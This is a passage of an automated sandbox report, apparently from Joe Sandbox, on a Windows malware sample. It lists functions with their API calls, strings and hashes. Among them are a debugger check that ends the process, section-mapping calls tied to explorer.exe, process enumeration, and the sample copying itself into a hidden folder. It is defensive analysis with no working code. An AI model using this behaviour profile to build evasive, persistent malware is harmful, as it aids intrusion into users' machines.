Instruction ID: 34b746275bc792f3fb373aaee46d36e48c79bc3af397d01ac1daa1ae22b939be
Opcode Fuzzy Hash: 0d3d46abbd83dfe590c2d1bb7bbd54f9bcf6c2aeac67eaeec3f6c303d37a2cde
Instruction Fuzzy Hash: 4BE0FE39B21B4196EA00EB14FC957E83764BF94799FC00115D48D46670EFB882D98BA6

Function 10A5F350 Relevance: 6.3, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrIA.SHLWAPI ref: 10A5F365
lstrlenA.KERNEL32 ref: 10A5F388
StrStrIA.SHLWAPI ref: 10A5F39A
malloc.MSVCRT ref: 10A5F3AD
memcpy.MSVCRT ref: 10A5F3C2

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlenmallocmemcpy
String ID:
API String ID: 1128592954-0
Opcode ID: ce44c2af02d94c40fc662e9a592eea0893846532a55e6e3cd8603df8462ac1df
Instruction ID: 6c0b907d9accc6bf2b83d3300e46c4206a1e5d09f77faa71ba20b3637fa6943c
Opcode Fuzzy Hash: ce44c2af02d94c40fc662e9a592eea0893846532a55e6e3cd8603df8462ac1df
Instruction Fuzzy Hash: 3501D12671A78086EA948B17B94476AA2A0FB8CFD4F485030EE9E47B19EF3CD4858700

Function 10A54800 Relevance: 6.2, APIs: 4, Instructions: 195stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

isxdigit.MSVCRT ref: 10A54920
_errno.MSVCRT ref: 10A54946
strtol.MSVCRT ref: 10A54962
_errno.MSVCRT ref: 10A5496A

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$isxdigitstrtol
String ID:
API String ID: 1632192098-0
Opcode ID: 8a87e1b90b6231925026473331d16d0a0d19ed690a8e64018892fdd3084fb47b
Instruction ID: 96182da9d311775094a0c8eeb88bcd1447e13234c923cb0c8352c57d8105de80
Opcode Fuzzy Hash: 8a87e1b90b6231925026473331d16d0a0d19ed690a8e64018892fdd3084fb47b
Instruction Fuzzy Hash: 84612432348BC08AEB918B21E85439A7BA0F386BCCF965215DF8A07791DF3DC488D305

Function 08B7CBC5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 08B7CBDE

Part of subcall function 08B7E4F5: std::_Lockit::_Lockit.LIBCPMT ref: 08B7E50B

std::_Facet_Register.LIBCPMT ref: 08B7CC43
std::bad_exception::bad_exception.LIBCMT ref: 08B7CC71
_CxxThrowException.LIBCMT ref: 08B7CC82

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrowstd::bad_exception::bad_exception
String ID:
API String ID: 784803821-0
Opcode ID: d18575c936f708add1e7747410591034e242fc3e673200c653cbe787150549b3
Instruction ID: 9860534e58434450c9e5eabffd557cc00bf610c0f6b705b0fe413ec68a842fd7
Opcode Fuzzy Hash: d18575c936f708add1e7747410591034e242fc3e673200c653cbe787150549b3
Instruction Fuzzy Hash: 25119335218F4C8F8B55FB2CC49466E7BE1FBA8302B5046AEA05BC3364DE74D905CB81

Function 08B7CC95 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 08B7CCAE

Part of subcall function 08B7E4F5: std::_Lockit::_Lockit.LIBCPMT ref: 08B7E50B

std::_Facet_Register.LIBCPMT ref: 08B7CD13
std::bad_exception::bad_exception.LIBCMT ref: 08B7CD41
_CxxThrowException.LIBCMT ref: 08B7CD52

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrowstd::bad_exception::bad_exception
String ID:
API String ID: 784803821-0
Opcode ID: 588dbd4c3485aeaeb49cd1e4237764da046df76d033139a9bcd38caf2fecdc26
Instruction ID: 71c01a8c9fc50e325d2abce212206ae856403e0eefb4115887c861b5db07763a
Opcode Fuzzy Hash: 588dbd4c3485aeaeb49cd1e4237764da046df76d033139a9bcd38caf2fecdc26
Instruction Fuzzy Hash: 09118135218F4C8F8B55FB2CC49466A7BE1FBA8301B5046AE905AC3368DF74D905CB82

Function 08B8C781 Relevance: 6.1, APIs: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 08B8C79E

Part of subcall function 08B93785: _FindPESection.LIBCMT ref: 08B937AE

_initp_misc_cfltcvt_tab.LIBCMT ref: 08B8C7AF
_initterm_e.LIBCMT ref: 08B8C7C2
_IsNonwritableInCurrentImage.LIBCMT ref: 08B8C80B

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: CurrentImageNonwritable$FindSection_initp_misc_cfltcvt_tab_initterm_e
String ID:
API String ID: 1991439119-0
Opcode ID: 82da233bd22393f251cdd9dcfc228ec0faa1151005387e53682ccfef2511958d
Instruction ID: ae584a19f0c30aaca0f8eb91163897bb04ce12bb809ba62d04954d3c2993e396
Opcode Fuzzy Hash: 82da233bd22393f251cdd9dcfc228ec0faa1151005387e53682ccfef2511958d
Instruction Fuzzy Hash: D711E575150A0ACFE765FF24ECA86B63BA1FB48346F44457AD403C2174EF7C8944CAA1

Function 10A52E00 Relevance: 6.1, APIs: 4, Instructions: 51processCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 10A52E31
Process32First.KERNEL32 ref: 10A52E4F
Process32Next.KERNEL32 ref: 10A52E6F
Process32Next.KERNEL32 ref: 10A52E97

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$Next$CreateFirstSnapshotToolhelp32
String ID:
API String ID: 1264244614-0
Opcode ID: 80bb5765f9a2a165ef4c7c0d5d44b71313af7502d3f64ea6c40ec16e409fcc13
Instruction ID: e943772987c86865e4e6ef781a321d3a03186d68ea2f1e5aa83893966441d217
Opcode Fuzzy Hash: 80bb5765f9a2a165ef4c7c0d5d44b71313af7502d3f64ea6c40ec16e409fcc13
Instruction Fuzzy Hash: DA11902631468092DB60CB21EA523AE7771FBC97D4FC44621FA9D47698EF3CD609CB00

Function 10A54BDC Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 40stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 10A54BEC
strncmp.MSVCRT ref: 10A54C30

Strings

true, xrefs: 10A54BDF
false, xrefs: 10A54C23

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: strncmp
String ID: false$true
API String ID: 1114863663-2658103896
Opcode ID: 67afa348da8c63f24607afe3098ca8c9d340cb2bd9af6d5e063a91c92265a85d
Instruction ID: 219cd4253988e56f12b2ca51bad809191a2f87e80cbf6ee22674acc71f1f8ee3
Opcode Fuzzy Hash: 67afa348da8c63f24607afe3098ca8c9d340cb2bd9af6d5e063a91c92265a85d
Instruction Fuzzy Hash: 50018F7272568086EB80CB26F54074A6360FB88FC8F495016EF5947B48DF39C9948B04

Function 08B8C0A9 Relevance: 6.0, APIs: 4, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_error_mode.LIBCMT ref: 08B8C0B2
_set_error_mode.LIBCMT ref: 08B8C0C1
_NMSG_WRITE.LIBCMT ref: 08B8C0D8
_NMSG_WRITE.LIBCMT ref: 08B8C0E2

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: _set_error_mode
String ID:
API String ID: 1949149715-0
Opcode ID: 0d690f4aac3dde16e4e1d2979cb692e4d2a19a8b670458b09341603328327a1b
Instruction ID: e023d0764712d3e5f538c8d6aa4cba9fc6dfdde66fa4237ce7ff744cb0f473cf
Opcode Fuzzy Hash: 0d690f4aac3dde16e4e1d2979cb692e4d2a19a8b670458b09341603328327a1b
Instruction Fuzzy Hash: 40D05E64580106C2FAA93AA44AB133D3855DB4A387F5024BEC612C53E0D90D4486C333

Function 10A66EB0 Relevance: 5.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 10A66EC0
free.MSVCRT ref: 10A66F0E
free.MSVCRT ref: 10A66F19
memset.MSVCRT ref: 10A66F29

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: free$CriticalEnterSectionmemset
String ID:
API String ID: 3605230531-0
Opcode ID: c8381834cbd1a72aa57a999ab2c84c912f09ae11d85ede2d894aa626384c7661
Instruction ID: df4356fda98a0cba32fac87a2f1c741cbf21219c4981b9712b08dd914f120ee1
Opcode Fuzzy Hash: c8381834cbd1a72aa57a999ab2c84c912f09ae11d85ede2d894aa626384c7661
Instruction Fuzzy Hash: D421C477B58F84CEE7058F24E8947DC2BA0FFA9BC8F490026D64947A90DE64C9C5C741

Analysis Process: 8D8EBC2422383023011859.exePID: 3228, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1133
Total number of Limit Nodes:	19

Executed Functions

Function 00007FF60E62FBA0 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60E630150: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF60E62FBC5), ref: 00007FF60E630154

ExitProcess.KERNEL32 ref: 00007FF60E62FBCE
ExitProcess.KERNEL32 ref: 00007FF60E62FC1D

Strings

GqgWzd, xrefs: 00007FF60E62FC08
GqgWzd, xrefs: 00007FF60E62FCFA
svchost.exe, xrefs: 00007FF60E62FBEF

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: GqgWzd$GqgWzd$svchost.exe
API String ID: 613740775-3706196489
Opcode ID: 9f5c7b640f57d296efcc2970fc598c3ee78b7c206099d74ffa78a16bb0841733
Instruction ID: 9aa12d90c1a7502b742200da2e611078e4312f243aac732432a1ddad925ca282
Opcode Fuzzy Hash: 9f5c7b640f57d296efcc2970fc598c3ee78b7c206099d74ffa78a16bb0841733
Instruction Fuzzy Hash: 0B515F72A28A6282F7A49B30F91537E26A0FFB4314F60453AF48ED6595CF3DD509E740

Function 00007FF60E612BEC Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 69
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60E613970: shared_ptr.LIBCPMTD ref: 00007FF60E613990

type_info::_name_internal_method.LIBCMTD ref: 00007FF60E612C1D
RtlInitUnicodeString.NTDLL ref: 00007FF60E612C4F
NtOpenFile.NTDLL ref: 00007FF60E612D06

Strings

, xrefs: 00007FF60E612CE2
\??\, xrefs: 00007FF60E612BF9
@, xrefs: 00007FF60E612C7F
0, xrefs: 00007FF60E612C6E

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: FileInitOpenStringUnicodeshared_ptrtype_info::_name_internal_method
String ID: $0$@$\??\
API String ID: 3492896725-1644384263
Opcode ID: 80fea6cff64a10e925d1ccc44b306e79c79c634c3964aa946b29e6fce584649f
Instruction ID: a1ba69adab5a251825326f1ac4ed72b0202181a7e3dea83e65136dff86996619
Opcode Fuzzy Hash: 80fea6cff64a10e925d1ccc44b306e79c79c634c3964aa946b29e6fce584649f
Instruction Fuzzy Hash: 99310732628AC496D760CB24F45439AB7A1F7943A0FA04235F69D83BE9EF7CC148CB00

Function 00007FF60E63060C Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF60E62FBD9), ref: 00007FF60E630610
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,00007FF60E62FBD9), ref: 00007FF60E630623
GetTokenInformation.KERNELBASE ref: 00007FF60E630654
GetTokenInformation.KERNELBASE ref: 00007FF60E630686
CloseHandle.KERNEL32 ref: 00007FF60E630695

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: bab2983d0c2064314564850c59faab085e0d37512c9f18e1fbfae7b8d179e830
Instruction ID: 66b3bcc9aa5ca31e881e9edfcb2c0b58e092906c530152a83e773b07b31f4587
Opcode Fuzzy Hash: bab2983d0c2064314564850c59faab085e0d37512c9f18e1fbfae7b8d179e830
Instruction Fuzzy Hash: C9310636629A9186E790DB15F49062EB7B0FBD5B44F605035FA8E83B68DF3DD805DB00

Function 00007FF60E612D60 Relevance: 7.6, APIs: 5, Instructions: 96
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32 ref: 00007FF60E612DC4
GetTempFileNameW.KERNELBASE ref: 00007FF60E612DEB

Part of subcall function 00007FF60E612BEC: type_info::_name_internal_method.LIBCMTD ref: 00007FF60E612C1D
Part of subcall function 00007FF60E612BEC: RtlInitUnicodeString.NTDLL ref: 00007FF60E612C4F
Part of subcall function 00007FF60E612BEC: NtOpenFile.NTDLL ref: 00007FF60E612D06

NtSetInformationFile.NTDLL ref: 00007FF60E612E82
NtWriteFile.NTDLL ref: 00007FF60E612EFA
GetLastError.KERNEL32 ref: 00007FF60E612F0B

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: File$Temp$ErrorInformationInitLastNameOpenPathStringUnicodeWritetype_info::_name_internal_method
String ID:
API String ID: 3894097367-0
Opcode ID: c60a68b48e15b36e6a162428543f0853a5545c5fe251748cadc2d8b93848373f
Instruction ID: d02e8576bcd82c8b0eac5845e29d81794afc0ceac1ec5ab7ae7a49efc16c2084
Opcode Fuzzy Hash: c60a68b48e15b36e6a162428543f0853a5545c5fe251748cadc2d8b93848373f
Instruction Fuzzy Hash: D0411872618BC18AE7608B64F45439AB7A1F7857A4F504236E7AD83BE8EF7CC044DB00

Function 00007FF60E612F38 Relevance: 3.0, APIs: 2, Instructions: 32nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL ref: 00007FF60E612F81
NtClose.NTDLL ref: 00007FF60E612FAA

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: CloseCreateSection
String ID:
API String ID: 3832541453-0
Opcode ID: 3374a5a794764395d225ce62b5347c57fb9defcd6f270290a06b2f9aa5d2173a
Instruction ID: 5e01a5e1dfb0b6660f5ddbd1db4c261fd68eab06a3449834a617acc17258fb6c
Opcode Fuzzy Hash: 3374a5a794764395d225ce62b5347c57fb9defcd6f270290a06b2f9aa5d2173a
Instruction Fuzzy Hash: C0015B3251CB9586D7218B18F45872A7660F7927B4F701324F7BD42AE8CF3DD454AB00

Function 00007FF60E612B44 Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL ref: 00007FF60E612BB8

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 086008f540e24605ddfc47095f60edbd8a2cf42a36c31bf1750eee146be0699d
Instruction ID: 48c22d230d0150ac2b099307ff51f269b03a3dac78b8417a67a94a1440177cc0
Opcode Fuzzy Hash: 086008f540e24605ddfc47095f60edbd8a2cf42a36c31bf1750eee146be0699d
Instruction Fuzzy Hash: 1901D072518B8586E3608F50F46835BB7A4F394398F604129F6C982AA8DFBDC088DF40

Function 00007FF60E630844 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60E631174: GetWindowsDirectoryW.KERNEL32 ref: 00007FF60E6311AB
Part of subcall function 00007FF60E631174: GetVolumeInformationW.KERNELBASE ref: 00007FF60E63124C
Part of subcall function 00007FF60E631174: wsprintfW.USER32 ref: 00007FF60E6312DB

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E63088D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308A2
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308B5
CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308C5
SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308D8
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308ED
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E630900
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E630915

Strings

.exe, xrefs: 00007FF60E630906

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: ca690622e8857ab72fdfef2eeac93b212aec148aeea99314529bf70ea303a71a
Instruction ID: 98b4b4f462f0992a5ab9a3f76c4a54e45a5e8a1c2cd88df0ac0554ca20ab437a
Opcode Fuzzy Hash: ca690622e8857ab72fdfef2eeac93b212aec148aeea99314529bf70ea303a71a
Instruction Fuzzy Hash: 4F113632738A9685DB60DB25F85476EA321FBD4B41F505032FA8E83A6ADE7CD508D700

Function 00007FF60E612058 Relevance: 13.6, APIs: 9, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE ref: 00007FF60E612089
CloseHandle.KERNEL32 ref: 00007FF60E6120A1
MapViewOfFile.KERNELBASE ref: 00007FF60E6120C7
CloseHandle.KERNEL32 ref: 00007FF60E6120DF
CloseHandle.KERNEL32 ref: 00007FF60E6120EA

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191746519.00007FF60E646000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191854067.00007FF60E654000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2191965609.00007FF60E65A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2192099654.00007FF60E661000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff60e610000_8D8EBC2422383023011859.jbxd

Similarity

API ID: CloseHandle$File$CreateMappingView
String ID:
API String ID: 1771758222-0
Opcode ID: edae8342df2d6b86e2a31d811e725ecab3a5af5ba2ad6958d75b1e60dcb65b53
Instruction ID: aacb05d96695d2992177083908626eb7c782d831f535907c88fed611dcf6cc2b
Opcode Fuzzy Hash: edae8342df2d6b86e2a31d811e725ecab3a5af5ba2ad6958d75b1e60dcb65b53
Instruction Fuzzy Hash: 53310E36628A9182E750DB25F86872E67A0FBD4B94F605035FB8E83B68CF3CD445DB00

Function 00007FF60E630798 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF60E631174: GetWindowsDirectoryW.KERNEL32 ref: 00007FF60E6311AB
Part of subcall function 00007FF60E631174: GetVolumeInformationW.KERNELBASE ref: 00007FF60E63124C
Part of subcall function 00007FF60E631174: wsprintfW.USER32 ref: 00007FF60E6312DB

Part of subcall function 00007FF60E630844: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E63088D
Part of subcall function 00007FF60E630844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308A2
Part of subcall function 00007FF60E630844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308B5
Part of subcall function 00007FF60E630844: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308C5
Part of subcall function 00007FF60E630844: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308D8
Part of subcall function 00007FF60E630844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E6308ED
Part of subcall function 00007FF60E630844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E630900
Part of subcall function 00007FF60E630844: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF60E6307CD), ref: 00007FF60E630915

GetModuleFileNameW.KERNEL32 ref: 00007FF60E6307DD
DeleteFileW.KERNELBASE ref: 00007FF60E6307E8
CopyFileW.KERNELBASE ref: 00007FF60E630801
SetFileAttributesW.KERNEL32 ref: 00007FF60E630819

Strings

Services, xrefs: 00007FF60E630824

Memory Dump Source

Source File: 00000004.00000002.2191449237.00007FF60E611000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF60E610000, based on PE: true

Associated: 00000004.00000002.2191373286.00007FF60E610000.00000002.00000001.01000000.00000007.sdmpDownload File
